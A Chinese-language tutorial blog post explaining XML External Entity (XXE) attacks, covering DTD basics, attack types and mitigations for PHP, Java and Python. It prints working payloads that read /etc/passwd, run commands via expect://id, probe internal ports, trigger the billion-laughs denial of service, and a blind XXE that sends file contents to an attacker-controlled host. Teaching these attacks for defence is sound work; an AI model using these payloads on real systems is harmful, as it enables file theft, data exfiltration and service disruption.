• 浅谈XXE攻击


    0×00 介绍

    现在越来越多主要的web程序被发现和报告存在XXE(XML External Entity attack)漏洞,比如说facebook、paypal等等。 举个例子,我们扫一眼这些网站最近奖励的漏洞,充分证实了前面的说法。尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应得的关注度。很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响。

    0×01 什么是XXE

    简单来说,XXE就是XML外部实体注入。
    我们先分别理解一下注入和外部实体的含义。注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。

    有XXE漏洞的标志性函数为simplexml_load_string()

    0x02 XML基础

    1.什么是XML

    XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。

    2.XML的文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

     1 <!--XML声明-->
     2 <?xml version="1.0"?> 
     3 <!--文档类型定义-->
     4 <!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
     5 <!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
     6 <!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
     7 <!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
     8 <!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
     9 <!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
    10 ]]]>
    11 <!--文档元素-->
    12 <note>
    13 <to>Dave</to>
    14 <from>Tom</from>
    15 <head>Reminder</head>
    16 <body>You are a good man</body>
    17 </note>

    3.什么是DTD

    文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被执行地声明于 XML 文档中,也可作为一个外部引用。

    (1)内部的 DOCTYPE 声明

    <!DOCTYPE 根元素 [元素声明]>

    (2)外部文档声明

    <!DOCTYPE 根元素 SYSTEM ”文件名”>

    4.什么是DTD实体

    (1)内部实体声明

    <!ENTITY 实体名称 ”实体的值”>

    (2)外部实体声明

    <!ENTITY 实体名称 SYSTEM ”URI”>

    (3)参数实体声明

    <!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>

    三种实体声明方式使用区别:

    参数实体用%实体名称申明,引用时也用%实体名称;

    其余实体直接用实体名称申明,引用时用&实体名称。

    参数实体只能在DTD中申明,DTD中引用;

    其余实体只能在DTD中申明,可在xml文档中引用。

    0x03 XXE分类

    下面我们对XXE进行一下分类,按照构造外部实体声明的方法不同可分为

    (1)直接通过DTD外部实体声明

    (2)通过DTD文档引入外部DTD文档中的外部实体声明

    (3)通过DTD外部实体声明引入外部DTD文档中的外部实体声明。

    按照XXE回显信息不同可分为正常回显XXE、报错XXE和Blind XXE。

    3.1 按照构造外部实体声明的方法不同

    1.直接通过DTD外部实体声明

    1 <?xml version="1.0"?>
    2     <!DOCTYPE Quan[
    3     <!ENTITY f SYSTEM "file:///etc/passwd">
    4 ]>
    5 
    6 <hhh>&f;<hhh>

    2.通过DTD文档引入外部DTD文档中的外部实体声明

    XML文件内容:

    1 <?xml version="1.0"?>
    2     <!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
    3 
    4 <hhh>&f;<hhh>

    DTD文件内容:

    1 <!ENTITY f SYSTEM "file:///etc/passwd">

    3.通过DTD外部实体声明引入外部DTD文档中的外部实体声明

    1 <?xml version="1.0"?>
    2 <!DOCTYPE Quan[
    3 <!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
    4 ]>
    5 
    6 <hhh>&f;<hhh>

    Quan.dtd的外部实体声明内容:

    1 <!ENTITY f SYSTEM "file:///etc/passwd">

    3.2 按照输出信息不同

    1.正常回显XXE

    正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。

    2.报错XXE

    报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息,可根据错误信息的不同判断是否注入成功。

    3.盲注XXE

    当服务器没有回显,我们可以选择使用Blind XXE。与前两种XXE不同之处在于Blind XXE无回显信息,可组合利用file协议来读取文件或http协议和ftp协议来查看日志。Blind XXE主要使用了DTD约束中的参数实体和内部实体。在XML基础有提到过参数实体的定义,这里就不再做详细讲解。参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

    1 <?xml version="1.0"?>
    2 <!DOCTYPE Note[
    3 <!ENTITY % file SYSTEM "file:///C:/1.txt">
    4 <!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml">
    5 %remote;
    6 %all;
    7 ]>
    8 
    9 <root>&send;</root>

    Quan.xml内容:

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

    %remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

    0x04 XXE危害

    当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    1.任意文件读取

    PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件,还可利用PHP伪协议。

    1 <?xml version="1.0"?>
    2     <!DOCTYPE Quan[
    3     <!ENTITY f SYSTEM "file:///etc/passwd">
    4 ]>
    5 
    6 <hhh>&f;<hhh>

    XML在各语言下支持的协议有:

    2.执行系统命令

    这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。

    1 <?xml version="1.0"?>
    2     <!DOCTYPE Quan[
    3     <!ENTITY f SYSTEM "expect://id">
    4 ]>
    5 
    6 <hhh>&f;<hhh>

    3.探测内网端口

    可根据返回信息内容判断该端口是否打开。若测试端口返回“Connection refused”则可以知道该端口是closed的,否则为open。

    1 <?xml version="1.0" encoding="utf-8"?>
    2 <!DOCTYPE note[
    3   <!ENTITY Quan SYSTEM "http://192.168.246.136:80">
    4 ]>
    5 
    6 <reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

    4.拒绝服务攻击

     1 <?xml version="1.0"?>
     2 <!DOCTYPE lolz [
     3 <!ENTITY lol "lol">
     4 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     5 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     6 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     7 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     8 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     9 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    10 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    11 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    12 ]>
    13 <lolz>&lol9;</lolz>

    上面样例代码1中的XXE漏洞攻击就是著名的’billion laughs’(https://en.wikipedia.org/wiki/Billion_laughs)攻击,该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

    0x05 如何防御XXE

    方案一、使用开发语言提供的禁用外部实体的方法
    PHP:
    libxml_disable_entity_loader(true);
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
     
    方案二、过滤用户提交的XML数据
    关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

  • 相关阅读:
    POI Excel表格合并,边框设置
    MYSQL中group_concat有长度限制!默认1024(转载)
    MARQUEE 字符滚动条效果
    <A>标签电子邮件链接
    <A>标签锚标记
    <hr> 水平样式分隔线
    sudo gem install cocoapods 没反应问题
    适配iPhone6和iPhone6 Plus
    同步推是如何给未越狱的IOS设备安装任意IPA的?
    据说是百度ios面试题
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12972279.html
Copyright © 2020-2023  润新知